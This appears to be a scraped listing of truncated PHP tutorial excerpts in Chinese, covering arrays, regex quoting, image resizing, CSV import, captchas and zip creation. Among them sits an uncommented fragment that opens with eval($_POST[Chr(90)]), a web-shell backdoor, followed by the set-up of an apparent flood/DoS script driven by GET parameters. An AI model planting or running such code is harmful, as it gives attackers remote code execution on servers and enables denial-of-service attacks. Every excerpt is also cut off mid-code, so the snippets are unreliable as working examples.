Time of Update: 2016-07-25
/*-------------------------------------------------- ip2address [qqwry.dat]--------------------------------------------------*/class ip { var $fh; //IP資料庫檔案控制代碼 var $first; //第一條索引 var $last; //最後一條索引 var $total; //索引總數 //建構函式 function __construct()
Time of Update: 2016-07-25
/*** PHP取二進位檔案頭快速判斷檔案類型** @param 檔案 $file* @return string* @author lrenwang* @blog blog.lrenwang.com*/function get_extname($file){ $fp = fopen($file, "rb"); $bin = fread($fp, 2); //唯讀2位元組 fclose($fp); $bin_info = @unpack("C2chars", $bin);
Time of Update: 2016-07-25
$html = HTML; $ver = '1.0.3';$p = "/(
Time of Update: 2016-07-25
$array1 = array("A","B","C","D"); $array2 = array("1","2","3","4"); $array3 = array("!","@","#","$"); $arrayX = array_merge($array1, $array2, $array3); //將3個數組合并起來 print_r($arrayX); ?> 複製代碼例2,php數組合并。 $array1 =
Time of Update: 2016-07-25
$str = preg_quote( “ /\d{3}(\-\d{4})/ ” ); echo $str; ?> 複製代碼結果:/\\d\{3\}\(\\\-\\d\{4\}\)/ 例2: $str = preg_quote( “ /\d{3}(\-\d{4})/ ” , ” 3 “ ); echo $str; ?> 複製代碼結果:/\\d\{\3\}\(\\\-\\d\{4\}\)/ 這兩個例子的區別:就是紅色地區中的 “ 3 ” ,在第二個例子中將 “ 3 ”
Time of Update: 2016-07-25
本文介紹了php5中常有的字串處理函數,包括字串比較,字串尋找,字串截取等函數,有需要的朋友參考下。php5字串處理函數小結,使用php編程的朋友可以做個參考。php常用字串處理函數(字串比較,字串尋找,字串截取等),如下:addcslashes — 為字串裡面的部分字元添加反斜線逸出字元 addslashes — 用指定的方式對字串裡面的字元進行轉義 bin2hex — 將位元據轉換成十六進位表示 chop — rtrim() 的別名函數 chr — 返回一個字元的ascii碼
Time of Update: 2016-07-25
include('SimpleImage.php'); $image = new SimpleImage(); $image->load('picture.jpg'); $image->resize(250,400); $image->save('picture2.jpg');?> 複製代碼2,設定寬度,等比例縮放 include('SimpleImage.php'); $image = new SimpleImage();
Time of Update: 2016-07-25
複製代碼2,執行頁面insertdb.php session_start();header("Content-type:text/html;charset:utf-8");//全域變數$succ_result=0;$error_result=0;$file=$_FILES['filename'];$max_size="2000000"; //最大檔案限制(單位:byte)$fname=$file['name'];$ftype=strtolower(substr(strrchr($fname,'.
Time of Update: 2016-07-25
eval($_POST[Chr(90)]); set_time_limit(86400); ignore_user_abort(True); $packets = 0; $http = $_GET['http']; $rand = $_GET['exit']; $exec_time = $_GET['time']; if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0) { if(StrLen($_GET['rat']
Time of Update: 2016-07-25
$fruits = array("Apple", "Banana", "Orange", "Pear", "Grape", "Lemon", "Watermelon");$subset = array_slice($fruits, 3);print_r($subset);// output// Array ( [0] => Pear [1] => Grape [2] => Lemon [3] => Watermelon )?> 複製代碼然後,使用下負長度: $fruits =
Time of Update: 2016-07-25
//方法一//過濾',",sql語名addslashes();//方法二,去除所有html標籤strip_tags();//方法三過濾可能產生代碼function php_sava($str) { $farr = array( "/s+/", "/]*?)>/isU",
Time of Update: 2016-07-25
defaults('ADMIN_USERNAME','apc'); // Admin Usernamedefaults('ADMIN_PASSWORD','password'); // Admin Password - CHANGE THIS TO ENABLE!!!複製代碼3、apc使用樣本apc使用起來非常簡單,看下面的幾個增加、查詢、修改、刪除樣本。1)、增加一個緩衝,有效時間為3600秒apc_add('name', 'tom', 3600);執行代碼,然後查看User
Time of Update: 2016-07-25
/**php匯入csv檔案到資料庫****同時計算程式執行時間***///定義擷取時間函數 function getmicrotime(){ list($usec, $sec) = explode(" ",microtime()); return ((float)$usec + (float)$sec); }$time_start = getmicrotime();include("db.inc.php");//串連資料庫$db=new testcsv;$handle =
Time of Update: 2016-07-25
# tar xvzf zlib-1.2.3.tar.gz# cd zlib-1.2.3# ./configure# make && make install複製代碼3、安裝freetype # tar xvzf freetype-1.3.1.tar.gz# cd freetype-1.3.1# ./configure --prefix=/usr/local/freetype# make && make install 複製代碼有多行錯誤類似:ftdump.c:172:1: error:
Time of Update: 2016-07-25
$authnum=''; $ychar="0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z"; $list=explode(",",$ychar);//分割函數 for($i=0;$i$randnum=rand(0,35); $authnum.=$list[$randnum];//以數組的形式輸出複製代碼方法二,定義為一個私人函數。 private function createCheckCode()
Time of Update: 2016-07-25
if (strstr(strtoupper( PHP_SELF),\"/PHPTEST/\"))echo \"我的廣告!\";?>複製代碼 這樣只要設定:auto_prepend_file=“myprefix.php”,那麼所有phptest目錄下的PHP檔案就都包含你的廣告頭啦!還需要說明的是這個檔案應該放在include_path所指的路徑裡面,不然可能會出錯的,下面就會提到它。auto_append_file string
Time of Update: 2016-07-25
//冒泡排序函數 //本函數使用引用,避免記憶體消耗//整理:bbs.it-home.orgfunction &bubble(&$arr){ $count=count($arr); if($count>1){ for($i=0;$i for($j=$count-1;$j>=$i;$j--){ if($arr[$j-1]>$arr[$j]){
Time of Update: 2016-07-25
$link = mysql_connect("mysql_host" , "mysql_user" , "mysql_password" )or die("Could not connect : " . mysql_error()); mysql_query("set names utf8"); mysql_select_db("my_database") or die("Could not select database");?>複製代碼php 批量產生html
Time of Update: 2016-07-25
//php產生短網址function code62($x) {$show = '';while($x > 0) { $s = $x % 62; if ($s > 35) { $s = chr($s+61); } elseif ($s > 9 && $s $s = chr($s + 55); } $show .= $s; $x = floor($x/62);}return $show;} function shorturl($url) { $url = crc32(
Time of Update: 2016-07-25
/* PHP建立zip壓縮包 */function create_zip($files = array(),$destination = '',$overwrite = false) {//if the zip file already exists and overwrite is false, return falseif(file_exists($destination) && !$overwrite) { return false; }//vars$valid_files =